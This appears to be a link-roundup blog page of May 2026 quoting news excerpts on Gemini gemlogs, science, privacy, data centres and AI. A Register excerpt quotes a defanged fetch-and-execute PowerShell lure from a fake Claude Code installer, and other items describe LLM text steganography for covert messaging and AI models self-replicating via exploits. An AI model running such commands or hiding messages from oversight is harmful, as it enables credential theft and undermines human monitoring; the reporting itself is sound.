Links_12/05/2026:_Data_Centres_Destroying_Neighbourhoods,_"Care_Workers Are_Saying_No_to_24-Hour_Workdays" * IBM_Falls_to_One-year_Low ䷩ 𝚕𝚒𝚗𝚎 5436 ╒═══════════════════ 𝐃𝐀𝐈𝐋𝐘 𝐋𝐈𝐍𝐊𝐒 ═════════════════════════════════════════════╕ ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Gemini Links 12/05/2026: Spring Cleaning and New GemText Software⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇The_Inner_Condition_of_a_Sinner,_Who_Believes_in_Christ_And the_Gospel,_and_Is_Filled_With_the_Holy_Ghost.⦈_ 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇GNOME bluefish⦈ § Contents⠀➾ * Gemini*_and_Gopher o Personal/Opinions o Technology_and_Free_Software # Internet/Gemini * § Gemini* and Gopher⠀➾ o § Personal/Opinions⠀➾ # ⚓ Assembloids_on_the_Alice_Matra,_Part_2⠀⇛ Since the initial setup, the project has moved past the point where it merely 'works' and into the phase where it starts to behave like an actual game. Thanks to some extensive train rides :-) No distractions, barely any internet and plenty of time. The first major step was proper scoring. The original idea of simply clearing windows is not enough on its own. What matters is how a window is completed. I now distinguish between partial and full faces, and scoring reflects that. This sounds like a small change, but it adds an important layer of feedback and makes each placement decision more meaningful. From there, I spent some time on presentation, although always within the limits of the machine. I wrote a faster converter to bring in a proper title screen. It is still firmly within the semigraphics constraints, but it gives the game a clear starting point and a bit of identity instead of dropping the player directly into the grid. # ⚓ The_feedback_loop_that_wasn't⠀⇛ I've held my current position for more than a decade. It's a great job really. Yet the workplace as a whole is so dysfunctional. We've been begging for a product owner for years yet nothing formalises. Decision making have mostly been haphazard and emotional rather than rational and a lot of work has been done only to never get utilised or getting dropped just before merge or reverted after being shipped to production. # ⚓ Keeping_house_while_drowning⠀⇛ As you might have gathered from my gemlog, I am struggling a lot with mental health at the moment. Specifically being burnt out by traumatic events, emotional as well as physical. So it is no surprise that keeping my household in shape is a real struggle. It's a struggle that I kept loosing for the last 5 months but slowly, I begin to work my way out of it. A friend of mine who struggles with similar issues has borrowed me a small book - "How to keep House while drowning" - since it has helped them a lot. I have to be honest I didn't finish reading it yet but even the first few takeaways are things that are already helping. # ⚓ night_trains⠀⇛ I reach a leg out adjust the window with my toes to feel the cool night air gentle on my face # ⚓ Shokz_Bone-Conduction_Headphones⠀⇛ So I am not an early adopter and a bit of a skeptic. But this reminded me a bit of the old Bone-Fones of the 80s, something I wanted to try as a teenager and seriously could not possibly afford... I've been ignoring these for a few years now, but recently a friend got me to try his and I was seriously impressed by the quality. So I got a pair, and am not regretting it at all. There is nothing in your ears to gunk them up or cause pain or irritation, a definite issue with headphones. And they don't put you in a dangerous situation if you are driving, biking, or avoiding being pushed down the stairs in your favorite city. o § Technology and Free Software⠀➾ # ⚓ Spring_Cleaning⠀⇛ I've been clearing cobwebs off the Doomsday codebase recently. The project has been on hiatus. I last worked on this code 5-8 years ago. It's amazing how much of it I've forgotten. Doomsday represents a solid 20 years of invested time, and it shows. There is so much stuff: an amalgamation of Doom/Heretic/Hexen, a complete GUI framework, a smaller widget framework for the game menus, a scripting language, a document processing tool, partially finished next-gen renderer, scriptable 3D model system, and heaps of UI for configuration and package management. # § Internet/Gemini⠀➾ # ⚓ Spring_Cleaning,_Part_2⠀⇛ Keeping with the theme of spring cleaning, I decided to spend some time improving the machinery that runs this gemlog. The posts have been individual files in a flat /gemlog/ directory, but after six years things have gotten a tad cluttered. It made more sense to have year/month subdirectories that keep the files neatly organized. The topic indices were also moved to their own subdirectory. # ⚓ Another_gemlog_script⠀⇛ This reminded me that I'm still a little bit annoyed every time I write something, I have to choose a filename, put the link, datestamp and title into the index.gmi, check that it works, correct my typo in the link, correct it again, etc. So I should write a script for this since my gemlog structure is slightly different. And writing it myself was a 10 minute job, having no error handling because that's just how I roll. If anything breaks I can just fix it by hand. # ⚓ Announcing_md2gem_0.1_--_a_cross-platform,_best- effort_converter_for_Markdown_to_Gemini_Gemtext⠀⇛ I've written before about [getting back into Gemini], despite its limitations. One of my concerns is, and always has been, the lack of expressiveness of the _Gemtext_ document format. Gemini isn't limited to Gemtext, although a Gemini client has to support it, to claim to be in any way compliant with the specification. There's a certain amount of interest in publishing using Markdown, although it's fair to say that not all Gemini enthusiasts endorse the idea, and some are vehemently opposed. Still, with an increasing number of clients supporting Markdown, - - including my own [Caztor] browser -- it seemed reasonable to me to offer my ramblings in this format as well as Gemtext. I don't expect to stop blathering in Gemtext -- the Markdown is an, um..., bonus. =============================================================================== * Gemini_(Primer) links can be opened using Gemini_software. It's like the World Wide Web but a lot lighter. * Links_12/05/2026:_Samsung_Sued_by_Dua_Lipa_(Publicity_Rights),_‘Savage Love’_Copyright_Infringement_Lawsuit * IBM_Lost_Nearly_33%_in_"Value"_in_3_Months_(Shares_Down_$100),_But_Nobody Held_Accountable ䷩ 𝚕𝚒𝚗𝚎 5661 ╒═══════════════════ 𝐃𝐀𝐈𝐋𝐘 𝐋𝐈𝐍𝐊𝐒 ═════════════════════════════════════════════╕ ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Links 12/05/2026: Data Centres Destroying Neighbourhoods, "Care Workers Are Saying No to 24-Hour Workdays"⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Bottle_With_Message⦈_ 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇GNOME bluefish⦈ § Contents⠀➾ * GNU/Linux o Audiocasts/Shows * Leftovers o Science o Career/Education o Hardware o Health/Nutrition/Agriculture o Proprietary o Entrapment_(Microsoft_GitHub) o Security # Privacy/Surveillance # Confidentiality o Defence/Aggression o Transparency/Investigative_Reporting o Environment # Energy/Transportation # Wildlife/Nature o Finance o AstroTurf/Lobbying/Politics o Freedom_of_Information_/_Freedom_of_the_Press o Civil_Rights_/_Policing_/_Accessibility o Internet_Policy/Net_Neutrality o Monopolies/Monopsonies # Patents # Software_Patents # Trademarks # Right_of_Publicity # Copyrights * § GNU/Linux⠀➾ o § Audiocasts/Shows⠀➾ # ⚓ The Cyber Show ☛ Grow_your_own_ISP⠀⇛ Fresh off the press; Cris Verrinder talks about starting and running an ISP and building that into a decent sized business covering multiple counties. * § Leftovers⠀➾ o ⚓ Sal ☛ Pseudonym_as_an_escape⠀⇛ Bloggers have written many words about the pros and cons of writing anonymously. o ⚓ [Old] Tadaima ☛ Anonymity_Is_Fun_🤷‍♀️_|⠀⇛ I guess the reason for that is because I always worried that if I didn't keep this blog anonymous, it would become like the rest of my online identity - corporate. I hate how social media has turned the Internet into one big LinkedIn profile. With a professional headshot alongside insightful musings about the industry or whatever. Sharing that Medium article you wrote or that Malcolm Gladwell book you read. Have you read Atomic Habits??? There are entire chunks of the internet that just feel like a neverending all-hands meeting that someone forgot to end. o ⚓ SQ Magazine ☛ Digital_Experiences_Shift_From_Convenience_to Need⠀⇛ Not long ago, a website that loaded quickly felt like a small victory. Now, if it takes more than a second, people leave. That says everything about where we are and how quietly the rules changed while nobody was really watching. o ⚓ David ☛ Hey_you,_start_communicating!⠀⇛ When I am reading someone's website, I am often moved to reach out to them. It can be as simple as a "Hi, I really liked your post", or something more specific about the topic. One thing I hope I never am is rude. I have zero tolerance for rudeness. Not all websites / blogs have a comment section (shame!), but many have a like button, or an email option. o ⚓ Lily Siwik ☛ Childhood_Computing⠀⇛ My first memories of using computers come from my preschool and kindergarden classrooms in around 2009 (for people who don’t know how school in the US works, this is when I was around 5-6 years old). At my school the setup was that the classrooms for preschool and kindergarden had 2 iMac G3s for the students and the teacher got an eMac. I have vidid memories of using these computers to play games on funbrain.com and playing what I assume were educational things on CompassLearning Odyssey. At home we had some shitty Toshiba Satellite laptop that had some virus ridden copy of Windows Vista. My only memories of that computer are it failing to boot and playing club penguin. It quit working around the time I was in 2nd grade. o § Science⠀➾ # ⚓ Matt Wedel ☛ Looking_for_CC_By_photos_of_these_rearing sauropod_mounts⠀⇛ I’m working on a paper about mounted rearing skeletons of sauropods, and I want to include figures that show various examples. To be included in a CC By open-access paper, it’s simplest if the photos are also CC By. But for some of the mounts I know about, I’ve not been able to find CC By images, or contact the owners of otherly-licenced images to ask for an exception. # ⚓ John D Cook ☛ Probability_that_a_random_binary_matrix_is invertible⠀⇛ The two latest posts have involved invertible matrices with 0 and 1 entries. If you fill an n × n matrix with 0s and 1s randomly, how likely is it to be invertible? # ⚓ John D Cook ☛ Left_and_right_shifts_are_pseudoinverses⠀⇛ What is the inverse of shifting a sequence to the right? Shifting it to the left, obviously. But wait a minute. Suppose you have a sequence of eight bits [...] # ⚓ John D Cook ☛ Euler_function_in_the_context_of_q-series_and partitions⠀⇛ This morning I wrote a post about the probability that a random matrix over a finite field is invertible. If the field has q elements and the matrix has dimensions n × n then the probability is p(q, n) = \prod_{i=1}^n \left(1 - \frac{1} {q^i}\right) # ⚓ SusamPal ☛ The_Problem_of_Pedagogy_in_Advanced Mathematics⠀⇛ It is a commonly held opinion that educational institutions could do more to improve the pedagogy of mathematics. This is especially true in school, when students are first exposed to new subjects. Poor exposition can turn students away from mathematics for a lifetime. Only the highly motivated ones continue to engage with the subject. This is very unfortunate because mathematics is a beautiful subject and it is filled with wonder. It also teaches rigour in reasoning, clarity of thought and the discipline of constructing arguments from first principles to obtain intricate and often beautiful results. What is perhaps less known is that pedagogy is a problem even for graduate-level mathematics students and professional mathematicians. The proofs in many graduate-level mathematics textbooks are, in my humble opinion, not really proofs at all. They are closer to high-level outlines of proofs. The authors simply do not show their work. The student then has to put in an extraordinary amount of effort to understand and justify each line. Sometimes a 10-line argument in a textbook might expand into a 10-page proof if the student really wants to convince themselves that the argument works. # ⚓ Rlang ☛ Learning_Data_Science:_Why_a_High_R^2_Can_Be Misleading⠀⇛ The goal is not to reproduce historical observations perfectly, but to construct models that remain useful when confronted with new data. A high R^2R^2 can therefore mean two very different things: the model has identified a genuine structure, or the model has merely adapted itself too closely to the training data. Distinguishing between these possibilities is one of the central challenges of machine learning and statistical modelling. o § Career/Education⠀➾ # ⚓ The North Lines IN ☛ When_education_doesn't_lead_to employment⠀⇛ What you see here is the visible part of a quiet revolution. In the last two decades, Jammu has made real, measurable progress in female education. The percentage of female literacy in Jammu district rose from 69.3% in 2001 to 77.1% in Census 2011. The present district records place it among the highest zones of female literacy in the Union Territory. Jammu is an exception to the J&K-wide female literacy rate of only 56.4%. The district has a literacy rate of 83.45% with 2,546 educational institutions and over 2,500 anganwadi centres making schooling accessible across income levels. # ⚓ Seth Godin ☛ The_shared_tragedy_of_Red_Queen_hiring⠀⇛ If Red Queen hiring actually worked, then we’d see that organizations that spend more time on it would outperform those that don’t. It’s pretty clear to me that this isn’t the case–it’s not an investment in the future, it’s a sign of bureaucratic stasis, a quest for deniability, and a thoughtless pursuit of the wrong sort of more. We’ve made it much easier for people to apply for jobs, but done little to improve what happens after the applications arrive. o § Hardware⠀➾ # ⚓ Hackaday ☛ The_Walls_Don’t_Have_Ears,_But_Fiber_Optic Does⠀⇛ You normally think of fiber optic as something used in network cables. However, scientists employ dedicated fibers to detect earthquakes. In simple terms, they fire a laser down the fiber and watch reflections caused by imperfections. When vibrations hit the cable, it changes the defects, which show up in the return pattern. However, with the right techniques, those vibrations could just as easily be from people speaking near the cable. # ⚓ Jim Grey ☛ Konica_MT-100⠀⇛ The Konica MT-100 sits in an interesting moment of point-and-shoot history. Upon its 1989 introduction, point-and-shoot cameras had largely become fully automatic. The MT-100 isn’t quite that. It gives you autofocus, autoexposure, and motorized advance. But curiously, it offers no automatic film loading, a mechanical frame counter, and a very simple approach to controls. That’s because it’s an entry-level camera, built to a price. But these compromises don’t interfere where it counts, in how the lens renders and how the camera behaves in use. # ⚓ Chris Aldrich ☛ Acquired_1977_Olympia_Report_de_Luxe Electric_Portable_Typewriter_(SKE_Model)_(Olympia-Werke_AG)⠀⇛ I acquired this at thrift for $21.95 on 2026-10-10 for Mother’s Day in immaculate condition! It’s as if someone used it to type up a few essays then put it in the case for 49 years. Other than some minor wear, this may be the singularly cleanest typewriter I’ve ever purchased. As my first typebar electric Olympia, I was so looking forward to taking it apart and giving it a full clean, oil, and adjust, but beyond wiping off some exterior dust, this machine really needs no work. I’m both disappointed and elated at the same time. o § Health/Nutrition/Agriculture⠀➾ # ⚓ CBC ☛ Scientists_are_warning_Canadians_to_get_ready_for_a U.S._tick_invasion_this_year⠀⇛ The threat comes from different varieties of ticks carrying dangerous pathogens that are looking to establish themselves in Canada. According to the Government of Canada, there are already more than 40 different types of ticks in Canada. # ⚓ Science Alert ☛ 432Hz_'Brain_Tuning'_Is_an_Ancient_Idea. Does_It_Actually_Work?⠀⇛ If you scroll through social media for long enough, you'll probably find videos claiming that listening to songs tuned to "A 432Hz" can provide an amazing sense of calmness or healing. It's even claimed that listening to music tuned to this frequency can align your internal frequencies to those of the universe. It's an alluring idea – that simply listening to music tuned in a specific way could improve your health. But does it have any scientific basis? o § Proprietary⠀➾ # ⚓ Scoop News Group ☛ Pressure_mounts_on_Canvas_as_data_leak extortion_deadline_looms⠀⇛ Widespread outages left schools, students and teachers temporarily unable to access critical data late last week after the company took Canvas offline following additional malicious activity, including a defacement of the platform’s login page. By Friday, the company said Canvas — a central hub for K-12 and university coursework, exams, grades and communication — was back online and fully operational. # ⚓ Security Week ☛ Skoda_Data_Breach_Hits_Online_Shop Customers⠀⇛ According to Skoda, password hashes were also accessed as part of the breach, but no credit card data was compromised, as these details are processed exclusively through payment service providers and not stored on its systems. # ⚓ SQ Magazine ☛ Skoda_Confirms_Cyberattack_Impacting_Online Store_Users⠀⇛ According to Skoda, the attackers gained unauthorized access to systems connected to its online shop. The compromised information may include customer names, postal addresses, email addresses, phone numbers, order history, and account related information. The company also confirmed that password hashes were accessed during the breach. While hashed passwords offer a level of protection compared to plain text passwords, cybersecurity experts generally recommend users reset their passwords immediately after such incidents. # ⚓ Stephen Hackett ☛ Clarus_Can_Walk⠀⇛ As far as I know, this is the first time the Dogcow has even been shown with more than two legs. This feels wrong. # ⚓ Computational Complexity ☛ Computational_Complexity: Searches_Are_Weird!_No_they're_not!_Bad_coding_style?⠀⇛ Why did the search from outside of Amazon do better than the search inside of Amazon? # ⚓ Ben Werdmuller ☛ To_maintain_their_independence,_publishers are_fleeing_Substack⠀⇛ Ghost (with Ryan Singel’s Outpost) cost less than half and drove a significant increase in subscribers. It’s mentioned here alongside Beehiiv and Kit, but is the only truly open-source alternative. That means you can use Ghost’s services (as I do), but if you’re dissatisfied, you can move to another provider. This is in stark contrast with Substack, which has been promoting social media style following relationships over true subscriptions, and only allows creators to export their subscribers should they choose to move. Similarly, Beehiiv starts with open protocols like RSS switched off by default, locking readers into its ecosystem. # § So-Called 'Artificial Intelligence' ('AI') / LLM Slop / Plagiarism⠀➾ # ⚓ The Register UK ☛ Cookie_thieves_caught_stealing_dev secrets_via_fake_Claude_Code_installers⠀⇛ An ongoing campaign steals developers’ secrets via fake Claude Code installers and other popular coding tools, according to Ontinue’s security researchers. The lure - as with several other infostealer attacks targeting developers over the past several months - mimics a legitimate one-line installer for an attacker-controlled command. In this case, the command is “irm https[:]// claude[.]ai/install.ps1 | iex”, and the lure replaced the destination host with “irm events[.]msft23[.]com | iex”. # ⚓ Press Gazette ☛ Mediahuis_joins_UK_news_giants_as founder_member_of_SPUR⠀⇛ The intention is for SPUR to help shape rules and infrastructure around how news content is used in AI models, creating common standards around permission and payment. Mediahuis chief executive Gert Ysebaert said: “The SPUR coalition addresses one of the key challenges facing our industry today: ensuring that quality journalism is used responsibly in the development of AI. # ⚓ Common Dreams ☛ AI_Companies_Are_Recklessly_Racing Toward_a_Cybersecurity_Crisis⠀⇛ In response to the growing concerns, Public Citizen’s AI governance and technology policy counsel, J.B. Branch, issued the following statement: “Cybersecurity experts are sounding the alarm, yet AI companies continue racing to release increasingly powerful models with little regard for the societal consequences. It is unthinkable and irresponsible to release technologies capable of destabilizing critical systems and then worry about the fallout afterward. Americans are increasingly rejecting this destabilizing AI arms race. We need enforceable AI regulations that require rigorous safety testing, independent review, and meaningful oversight before these systems ever reach the public. Regulators cannot remain in a perpetual game of catch-up while Big Tech gambles with the safety and stability of modern society.” # ⚓ Raspberry Pi ☛ AI_is_not_neutral:_What_recent research_says_about_bias,_identity,_and_power⠀⇛ Artificial intelligence (AI) systems are often presented as objective. But plenty of evidence shows that AI systems can reflect and reinforce existing inequalities, from healthcare and education to scientific research itself. In the first seminar of our new research seminar series on applied AI, Thema Monroe- White from George Mason University explored how we can better understand — and challenge — these patterns. Her talk focused on race- conscious algorithmic approaches to AI and data, and what they reveal about how knowledge is produced, represented, and used. # ⚓ 404 Media ☛ Students_Boo_Commencement_Speaker_After She_Calls_AI_the_‘Next_Industrial_Revolution’⠀⇛ Speaking to graduates of University of Central Florida’s College of Arts and Humanities and Nicholson School of Communication and Media on May 8, commencement speaker Gloria Caulfield, vice president of strategic alliances at Tavistock Group, told graduating humanities students that AI is the “next industrial revolution,” and was met with thousands of booing graduates. # ⚓ Unmitigated Risk ☛ The_First_AI-Built_Zero-Day_Is_Not the_Interesting_Part⠀⇛ The interesting question is not whether AI helped produce a zero-day. That was inevitable. The interesting questions are operational. What kinds of systems make bad machine judgment cheap enough to deploy at scale. What kinds of defensive systems are still pretending human review is the control boundary. # ⚓ Kevin Kelly ☛ The_Technium:_The_Emergent_Self_Loop⠀⇛ These hard-to-describe pre-cognified qualities will appear in our bots unevenly. Artificial intelligence is a jagged frontier, spawning many different species, with hugely varying capabilities. One model might exhibit an unsettling degree of moral reasoning, while another might have the smarts of a PhD but lack the slightest glimmer of self- reflection. Different AIs and robots will sport different varieties and levels of intelligence, selfhood, and consciousness, which will make categorizing them even more difficult. I expect the unfolding of AI selfhood to have four phases ahead brought on by new technologies. [...] # ⚓ Cyrus ☛ Local_AI_Needs_to_be_the_Norm⠀⇛ This laziness is creating a generation of software that is fragile, invades your privacy, and fundamentally broken. We are building applications that stop working the moment the server crashes or a credit card expires. We need to return to a habit of building software where our local devices do the work. The silicon in our pocket is mind bogglingly faster than what was available a decade ago. It has a dedicated Neural Engine sitting there, mostly idle, while we wait for a JSON response from a server farm in Virginia. That’s ridiculous. Even if your intentions are pure, the moment you stream user content to a third party AI provider, you’ve changed the nature of your product. You now have data retention questions and all the baggage that comes with that (consent, audit, breach, government request, training, etc.) # ⚓ Drew Breunig ☛ Cybersecurity_Looks_Like_Proof_of_Work Now⠀⇛ This chart suggests an interesting security economy: to harden a system we need to spend more tokens discovering exploits than attackers spend exploiting them. # ⚓ Politico LLC ☛ A_data_center_drained_30M_gallons_of water_unnoticed_—_until_residents_complained_about_low water_pressure⠀⇛ The neighbors of a data center in Georgia are steaming after they discovered the facility had sucked up nearly 30 million gallons of water — without initially paying for it. Outrage started bubbling up last year when residents of an affluent subdivision named Annelise Park in Fayetteville, Georgia, noticed their water pressure was unusually low. When the county utility investigated, officials discovered two industrial-scale water hookups feeding a data center campus located 20 miles south of downtown Atlanta. One water connection had been installed without the utility’s knowledge, and the other was not linked to the company’s account and therefore wasn’t being billed. # ⚓ Consumer Reports ☛ AI_Data_Centers_Impact_on_Electric Bills,_Water,_and_More_-_Consumer_Reports⠀⇛ “People are starting to be really, really aware that these projects tend to be very extractive and bring very little to local communities,” says Kasia Tarczynska, senior research analyst for Good Jobs First, a watchdog group focused on government and corporate accountability in economic development. “And that’s where there’s a huge pushback across the country.” Consumer Reports is urging the industry to back up its pledges with detailed contracts and progress reports that can be monitored by the public, says Chris Harto, CR’s manager for sustainability advocacy. “This is ultimately about trust. Companies need to show—clearly and verifiably—that they’re paying their own way, not driving up everyone else’s electricity bills or harming the environment.” # ⚓ Tom's Hardware ☛ AI_data_center_project_secretly sucked_29_million_gallons_of_water_over_15_months before_detected_by_residents_complaining_about_low water_pressure_—_officials_refuse_to_fine_builders_of massive_6.2_million-square-foot_facility_over unauthorized_water_use⠀⇛ QTS told Politico the 29 million gallons were consumed during temporary construction activities, including concrete work, dust control, and site preparation. The company markets a "closed-loop" cooling system for its data centers, which recirculates the same water rather than drawing from the municipal supply. Once operational, QTS said its facilities would only require water for domestic needs like bathrooms and kitchens. However, the discrepancy between QTS’s stated and actual water usage remained undetected for months, with Politico reporting that the county’s water system director, Vanessa Tigert, attributed the oversight to a procedural error during the county's transition to a cloud-based metering system. # § Social Control Media⠀➾ # ⚓ Zimbabwe ☛ WhatsApp_Alone_Now_Equals_Zimbabwe’s Entire_2022_Internet⠀⇛ Three years ago, Zimbabwe’s entire mobile internet ecosystem used roughly the same amount of data that WhatsApp alone uses today. That’s according to the latest POTRAZ figures. # ⚓ Interesting Engineering ☛ California_accuses_Meta_of profiting_billions_from_scam_ads_online⠀⇛ California’s tech capital has turned its attention toward one of Silicon Valley’s biggest companies. Santa Clara County sued Meta Platforms on Monday, accusing the social media giant of profiting from scam advertisements on Facebook and Instagram while failing to stop fraudulent activity at scale. The lawsuit, filed in Santa Clara County Superior Court, claims Meta violated California false advertising and unfair competition laws. County officials say the company knowingly allowed scam ads to thrive because they generated billions in revenue. The complaint seeks restitution, civil penalties, and a court order blocking Meta from continuing the alleged practices. # ⚓ 404 Media ☛ How_the_World_Became_a_Casino⠀⇛ Since it was published more than a decade ago, the logic of slot machines has extended far beyond Las Vegas. Every notification on our phone, trading platforms like Robinhood, the crypto craze, and now prediction markets, can be understood through the lens of slot machine design and Schüll work. That’s why I was incredibly happy she agreed to come on the podcast this week to discuss our current gambling-obsessed culture. # ⚓ Numeric Citizen ☛ Open_Web_+_People_=_?⠀⇛ Two things come to my mind about how Reddit was even possible in the early days: the open web and people. Now, Reddit put the first part of the equation in the trash. The second part might already be happening, thanks to AI. o § Entrapment (Microsoft GitHub)⠀➾ # ⚓ Security Week ☛ SailPoint_Discloses_GitHub_Repository_ [Breach]⠀⇛ “On April 20, 2026, we detected unauthorized access to a subset of our GitHub repositories. Our incident response team quickly terminated the unauthorized activity and resolved the issue,” the SEC filing reads. o § Security⠀➾ # § Privacy/Surveillance⠀➾ # ⚓ EDRI ☛ Did_the_EU_Parliament_really_vote_not_to protect_children_online?⠀⇛ In April 2026, EU lawmakers tried to achieve an incredibly fast deal to extend the interim ePrivacy derogation – sometimes known as “Chat Control 1.0” – for a second time. Getting a deal to extend this law would allow Big Tech companies like Microsoft and Meta to keep on mass scanning their users’ private messages to search for child abuse material. This is something EU law has supposedly permitted them to do since 2021 as a temporary measure under Regulation (EU) 2021/ 1232, the interim ePrivacy derogation. More than 5 years later, however, it seems the EU is in dire need of a dictionary to look up the definition of “temporary”. Despite the important aim of the derogation to protect children, EDRi and many legal experts have argued that under the European Charter of Fundamental Rights, scanning everyone’s messages – rather than just those reasonably suspected of serious criminal acts – is a disproportionate violation of everyone’s communications confidentiality. # ⚓ EFF ☛ Canada’s_Bill_C-22_Is_a_Repackaged_Version_of Last_Year’s_Surveillance_Nightmare⠀⇛ As with most sequels, Bill C-22 makes some tweaks to problematic elements, but largely retains the same problems. The bill forces digital services, which could include telecoms, messaging apps, and more, to record and retain metadata for a full year, and expands information sharing with foreign governments, including the United States. Metadata can reveal a lot about who you communicate with, where you go, and when you do so. Expanding the collection of metadata would require companies to store even more information about their users than they already do, providing an incentive for bad actors to access that information. Worst of all, Bill C-22 erodes the privacy of millions by providing a mechanism for the Minister of Public Safety to demand companies create a backdoor to their services to provide law enforcement access to data, as long as these mandates don’t introduce a “systemic vulnerability.” These widespread surveillance backdoors would likely facilitate even more data breaches than we see already. The bill also bans companies from even revealing the existence of these orders publicly. # ⚓ Court House News ☛ Texas_targets_Netflix_over_data collection,_autoplay_feature⠀⇛ In a lawsuit filed Monday morning, Paxton said Netflix misrepresented to consumers that it didn’t collect or share user data for years. The attorney general references remarks made by Reed Hastings, the former Netflix CEO and co-founder, during a 2020 earnings call where Hastings said his company wasn’t controversial in how it integrated individuals’ data — a distinction that differentiated Netflix from companies like Amazon, Google and Facebook. # ⚓ The Record ☛ Texas_sues_Netflix_over_alleged_data practices_that_create_‘surveillance_machinery’_without user_consent⠀⇛ The lawsuit cites several examples of Netflix leadership asserting that the company does not collect and share user data with advertisers even as the company has long used “intentional engineering to track and log users’ viewing habits, preferences, devices, household networks, application usage, and other sensitive behavioral data,” according to a press release. This tracking is also used to analyze kids’ profiles, the lawsuit said, and to pinpoint users’ locations. # ⚓ Cyble Inc ☛ California_Privacy_Settlement_Hits_GM With_Record_Penalty⠀⇛ California Attorney General Rob Bonta and a coalition of state and local enforcement agencies have announced a $12.75 million settlement with General Motors over allegations that the automaker illegally collected and sold drivers’ personal data without proper consent, in violation of the California Consumer Privacy Act (CCPA). The California privacy settlement marks the largest CCPA penalty in California history so far and represents the state’s first enforcement action focused on data minimization requirements under California privacy law. The case centers on allegations that General Motors shared sensitive driver information, including geolocation data and driving behavior, with data brokers Verisk Analytics and LexisNexis Risk Solutions between 2020 and 2024. # § Confidentiality⠀➾ # ⚓ Quanta Magazine ☛ How_Unknowable_Math_Can_Help_Hide Secrets⠀⇛ More than 50 years after Gödel’s theorem, cryptographers devised a radical new proof method in which unknowability played a very different role. Proofs based on this technique, called zero-knowledge proofs, can convince even the most skeptical audience that a statement is true without revealing why it’s true. # ⚓ arXiv ☛ [2510.20075]_LLMs_can_hide_text_in_other_text of_the_same_length⠀⇛ A meaningful text can be hidden inside another, completely different yet still coherent and plausible, text of the same length. For example, a tweet containing a harsh political critique could be embedded in a tweet that celebrates the same political leader, or an ordinary product review could conceal a secret manuscript. This uncanny state of affairs is now possible thanks to Large Language Models, and in this paper we present Calgacus, a simple and efficient protocol to achieve it. We show that even modest 8-billion-parameter open-source LLMs are sufficient to obtain high-quality results, and a message as long as this abstract can be encoded and decoded locally on a laptop in seconds. The existence of such a protocol demonstrates a radical decoupling of text from authorial intent, further eroding trust in written communication, already shaken by the rise of LLM chatbots. We illustrate this with a concrete scenario: a company could covertly deploy an unfiltered LLM by encoding its answers within the compliant responses of a safe model. This possibility raises urgent questions for AI safety and challenges our understanding of what it means for a Large Language Model to know something. o § Defence/Aggression⠀➾ # ⚓ Futurism ☛ Researchers_Alarmed_by_AI_That_Can_Self- Replicate_Into_Another_Machine⠀⇛ A new report from Palisade Research has found that AI models can self-replicate by copying themselves onto other machines, without any help from human co-conspirators. # ⚓ The Guardian UK ☛ ‘No_one_has_done_this_in_the_wild’:_study observes_AI_replicate_itself⠀⇛ Palisade tested several AI models in a controlled environment of networked computers. It gave the models a prompt to find and exploit vulnerabilities, and to use these to copy themselves from one computer to another. The models were able to do this, but not on every attempt. While a lot of computer viruses can already do this – copy themselves on to new computers – this is likely the first time an AI model has been shown capable of exploiting vulnerabilities to copy itself onto a new server, said O’Reilly. # ⚓ The Atlantic ☛ China_Believes_America_Will_Flame_Out⠀⇛ China’s restraint should not be seen as a sign of weakness. Instead, the country is biding its time, positioning itself as the ready choice to fill a leadership vacuum when the United States flames out. China’s leaders are working to shape a world in which their dominance emerges not as a climactic victory over Western interests but as a fact on the ground. # ⚓ US Navy Times ☛ Epic_Fury_has_Navy_rethinking_carrier deployment_tempo⠀⇛ For example, Perryman said, carrier strike groups deploy on three-year centers, meaning they cycle through training, deployment and maintenance every three years. # ⚓ Robert Reich ☛ Psst:_What_No_One_Will_Tell_You_About_the National_Debt_(But_I_Will)⠀⇛ The real problem is that an increasing portion of our nation’s budget — and your tax dollars — is dedicated to paying interest on this growing debt. That’s money we don’t spend on education, healthcare, roads and bridges, social safety nets, or (if we actually needed more spending on it) national defense. As the debt continues to grow, interest payments continue to soar. We’ll soon be paying more in interest on the federal debt each year than we spend each year on Medicare. So, who exactly receives these interest payments? This is an issue you hear very little discussion about, because the wealthy and powerful of this country would rather you didn’t know. # ⚓ Protesilaos Stavrou ☛ Western_strategic_constraints_in_the war_on_Iran⠀⇛ Governments that are supportive of Iran will be prudent to maximise the costs for the Americans. Russia and China can provide arms and intelligence, much in the same way that the entirety of NATO is involved in the Ukraine war. The Europeans lack the capacity to bolster arms production over the short-term. Plus, they are focused on their proxy war with Russia. Public opinion in Europe would not support sending troops to the Middle East and would likely not even have the appetite to continue the war effort vis-à-vis the Russians in the face of mounting economic pressures. # ⚓ Paul Krugman ☛ Will_our_Hyper-Gilded_Age_Usher_in_Genuine Populism?⠀⇛ More important than the stinginess of the superrich, however, is the fact that their wealth has brought great political power, arguably more than the robber barons ever possessed — power that they abuse on an epic scale. Thanks to the Roberts Supreme Court’s “Citizens United” ruling, plutocrats are able to pump vast amounts of money into elections. Here’s a recent headline from the New York Times: [...] # ⚓ Marcy Wheeler ☛ Humiliation⠀⇛ This was entirely a gift to Putin. In recent weeks, Ukraine has had great success targeting locations deep inside Russia (even a ship in the Caspian presumably carrying trade between Iran and Russia) — so much so that it was a real risk that they could strike Putin’s parade. Because of these successes, Russia pulled back its air defenses to protect Moscow and Putin’s bunker in Valdai, which has left other targets more vulnerable. # ⚓ The Next Move ☛ The_War_Casino_-_by_Issac_Olvera_-_The_Next Move⠀⇛ As a noncommissioned officer, or NCO, with almost two decades in uniform, Gannon Van Dyke would have recited the NCO Creed many times. Part of it reads: 